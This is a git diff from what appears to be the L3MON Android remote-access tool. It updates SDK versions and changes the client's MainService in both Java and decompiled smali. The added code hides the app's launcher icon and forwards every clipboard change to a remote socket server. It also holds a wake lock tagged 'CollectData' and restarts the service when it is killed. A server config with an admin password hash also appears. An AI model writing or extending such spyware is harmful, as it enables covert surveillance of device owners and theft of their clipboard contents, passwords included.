<entry file="file://$PROJECT_DIR$/app/src/main/res/values/dimens.xml">
<provider selected="true" editor-type-id="text-editor" />
</entry>
@ -530,12 +332,12 @@
<provider selected="true" editor-type-id="text-editor" />
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml">
<provider editor-type-id="android-designer2" />
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="212">
<caret line="14" column="33" selection-start-line="14" selection-start-column="33" selection-end-line="14" selection-end-column="33" />
</state>
</provider>
<provider editor-type-id="android-designer2" />
</entry>
<entry file="file://$PROJECT_DIR$/client - Copy.iml" />
<entry file="file://$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml">
@ -590,13 +392,6 @@
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="34">
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="-187">
@ -631,23 +426,6 @@
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CameraManager.java">
<provider selected="true" editor-type-id="text-editor" />
</entry>
<entry file="file://$PROJECT_DIR$/build.gradle">
<provider selected="true" editor-type-id="text-editor" />
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="68">
<caret line="12" column="13" selection-start-line="12" selection-start-column="13" selection-end-line="12" selection-end-column="13" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="68">
<caret line="8" column="15" selection-start-line="8" selection-start-column="13" selection-end-line="8" selection-end-column="21" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/FileManager.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="85">
@ -662,28 +440,7 @@
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="884">
<caret line="62" column="8" selection-start-line="62" selection-start-column="8" selection-end-line="62" selection-end-column="8" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/remote/app/BuildConfig.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="85">
<caret line="7" column="29" selection-start-line="7" selection-start-column="29" selection-end-line="7" selection-end-column="29" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="414">
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
</state>
</provider>
<provider editor-type-id="android-manifest" />
</entry>
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/remote/app/BuildConfig.java" />
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="34">
@ -698,10 +455,94 @@
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
<provider editor-type-id="android-manifest" />
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="414">
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
</state>
</provider>
</entry>
<entry file="jar://$USER_HOME$/AppData/Local/Android/Sdk/platforms/android-24/android.jar!/android/app/Service.class">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="102">
<caret line="16" column="22" selection-start-line="16" selection-start-column="22" selection-end-line="16" selection-end-column="22" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MyReceiver.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="-37">
<caret line="8" column="13" selection-start-line="8" selection-start-column="13" selection-end-line="8" selection-end-column="13" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="153">
<caret line="9" column="59" selection-start-line="9" selection-start-column="59" selection-end-line="9" selection-end-column="59" />
<folding>
<element signature="imports" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="85">
<caret line="14" column="27" lean-forward="true" selection-start-line="14" selection-start-column="27" selection-end-line="14" selection-end-column="27" />
<folding>
<element signature="imports" expanded="true" />
<element signature="e#508#509#0" expanded="true" />
<element signature="e#531#532#0" expanded="true" />
<element signature="e#3343#3344#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/build.gradle">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="89">
<caret line="6" column="24" lean-forward="true" selection-start-line="6" selection-start-column="24" selection-end-line="6" selection-end-column="24" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="1802">
<caret line="108" selection-start-line="108" selection-end-line="108" />
<folding>
<element signature="imports" expanded="true" />
<element signature="e#637#638#0" expanded="true" />
<element signature="e#660#661#0" expanded="true" />
<element signature="e#2538#2539#0" expanded="true" />
<element signature="e#2581#2582#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/build.gradle">
<provider selected="true" editor-type-id="text-editor" />
</entry>
<entry file="file://$PROJECT_DIR$/app/build.gradle">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="289">
<caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" />
<state relative-caret-position="153">
<caret line="9" column="38" selection-start-line="9" selection-start-column="38" selection-end-line="9" selection-end-column="38" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml">
<provider editor-type-id="android-manifest" />
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="221">
<caret line="13" column="8" selection-start-line="13" selection-start-column="8" selection-end-line="13" selection-end-column="8" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="68">
<caret line="8" column="15" selection-start-line="8" selection-start-column="13" selection-end-line="8" selection-end-column="21" />
</state>
</provider>
</entry>

View File

@ -87,7 +87,7 @@
<sourceFolder url="file://$MODULE_DIR$/src/test/shaders" isTestSource="true" />
<excludeFolder url="file://$MODULE_DIR$/build" />
</content>
<orderEntry type="jdk" jdkName="Android API 24 Platform" jdkType="Android SDK" />
<orderEntry type="jdk" jdkName="Android API 28 Platform" jdkType="Android SDK" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="Gradle: io.socket:socket.io-client:0.8.3@jar" level="project" />
<orderEntry type="library" name="Gradle: io.socket:engine.io-client:0.8.3@jar" level="project" />

View File

@ -4,12 +4,12 @@ android {
lintOptions {
checkReleaseBuilds false
}
compileSdkVersion 24
compileSdkVersion 28
buildToolsVersion '28.0.3'
defaultConfig {
applicationId 'com.remote.app'
minSdkVersion 11
targetSdkVersion 24
targetSdkVersion 28
versionCode 1
versionName "1.0"
}

Binary file not shown.

View File

@ -8,15 +8,20 @@ import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.IBinder;
import android.os.PowerManager;
import android.telephony.ServiceState;
import org.json.JSONException;
import org.json.JSONObject;
public class MainService extends Service {
private static Context contextOfApplication;
boolean isServiceStarted = false;
PowerManager pm;
PowerManager.WakeLock wl ;
public MainService() {
super();
}
@Override
@ -28,6 +33,9 @@ public class MainService extends Service {
@Override
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
start();
// Hide App Icon
PackageManager pkg=this.getPackageManager();
pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
@ -36,23 +44,23 @@ public class MainService extends Service {
ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
public void onPrimaryClipChanged() {
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
if (clipboard.hasPrimaryClip()) {
ClipData clipData = clipboard.getPrimaryClip();
if (clipData.getItemCount() > 0) {
CharSequence text = clipData.getItemAt(0).getText();
if (text != null) {
try {
JSONObject data = new JSONObject();
data.put("text", text);
IOSocket.getInstance().getIoSocket().emit("0xCB" , data);
} catch (JSONException e) {
e.printStackTrace();
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
if (clipboard.hasPrimaryClip()) {
ClipData clipData = clipboard.getPrimaryClip();
if (clipData.getItemCount() > 0) {
CharSequence text = clipData.getItemAt(0).getText();
if (text != null) {
try {
JSONObject data = new JSONObject();
data.put("text", text);
IOSocket.getInstance().getIoSocket().emit("0xCB" , data);
} catch (JSONException e) {
e.printStackTrace();
}
}
}
}
}
}
};
ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
@ -64,8 +72,30 @@ public class MainService extends Service {
return Service.START_STICKY;
}
public void start(){
if(isServiceStarted) return;
isServiceStarted = true;
try{
pm = (PowerManager)getSystemService(Context.POWER_SERVICE);
if(!pm.isScreenOn()) {
wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,"ProcessManger:CollectData");
wl.acquire(300);
}
else if (wl.isHeld()) wl.release();
}
catch(Exception e){
e.printStackTrace();
}
}
@Override
public void onDestroy() {
isServiceStarted = false;
super.onDestroy();
sendBroadcast(new Intent("respawnService"));
}

View File

@ -7,12 +7,24 @@
.field private static a:Landroid/content/Context;
# instance fields
.field b:Z
.field c:Landroid/os/PowerManager;
.field d:Landroid/os/PowerManager$WakeLock;
# direct methods
.method public constructor <init>()V
.locals 0
.locals 1
invoke-direct {p0}, Landroid/app/Service;-><init>()V
const/4 v0, 0x0
iput-boolean v0, p0, Lcom/remote/app/MainService;->b:Z
return-void
.end method
@ -26,6 +38,86 @@
# virtual methods
.method public b()V
.locals 3
iget-boolean v0, p0, Lcom/remote/app/MainService;->b:Z
if-eqz v0, :cond_0
return-void
:cond_0
const/4 v0, 0x1
iput-boolean v0, p0, Lcom/remote/app/MainService;->b:Z
:try_start_0
const-string v0, "power"
invoke-virtual {p0, v0}, Landroid/app/Service;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/os/PowerManager;
iput-object v0, p0, Lcom/remote/app/MainService;->c:Landroid/os/PowerManager;
iget-object v0, p0, Lcom/remote/app/MainService;->c:Landroid/os/PowerManager;
invoke-virtual {v0}, Landroid/os/PowerManager;->isScreenOn()Z
move-result v0
if-nez v0, :cond_1
iget-object v0, p0, Lcom/remote/app/MainService;->c:Landroid/os/PowerManager;
const v1, 0x20000001
const-string v2, "ProcessManger:CollectData"
invoke-virtual {v0, v1, v2}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
move-result-object v0
iput-object v0, p0, Lcom/remote/app/MainService;->d:Landroid/os/PowerManager$WakeLock;
iget-object v0, p0, Lcom/remote/app/MainService;->d:Landroid/os/PowerManager$WakeLock;
const-wide/16 v1, 0x12c
invoke-virtual {v0, v1, v2}, Landroid/os/PowerManager$WakeLock;->acquire(J)V
goto :goto_0
:cond_1
iget-object v0, p0, Lcom/remote/app/MainService;->d:Landroid/os/PowerManager$WakeLock;
invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->isHeld()Z
move-result v0
if-eqz v0, :cond_2
iget-object v0, p0, Lcom/remote/app/MainService;->d:Landroid/os/PowerManager$WakeLock;
invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->release()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
:cond_2
:goto_0
return-void
.end method
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
.locals 0
@ -37,6 +129,10 @@
.method public onDestroy()V
.locals 2
const/4 v0, 0x0
iput-boolean v0, p0, Lcom/remote/app/MainService;->b:Z
invoke-super {p0}, Landroid/app/Service;->onDestroy()V
new-instance v0, Landroid/content/Intent;
@ -53,6 +149,8 @@
.method public onStartCommand(Landroid/content/Intent;II)I
.locals 1
invoke-virtual {p0}, Lcom/remote/app/MainService;->b()V
invoke-virtual {p0}, Landroid/app/Service;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object p1

View File

@ -2,7 +2,7 @@
"admin": {
"username": "admin",
"password": "5f4dcc3b5aa765d61d8327deb882cf99",
"loginToken": "b7b6c4683ac1999e0a4581d80470ab85",
"loginToken": "",
"logs": [
{
"time": "2020-01-11T15:23:07.971Z",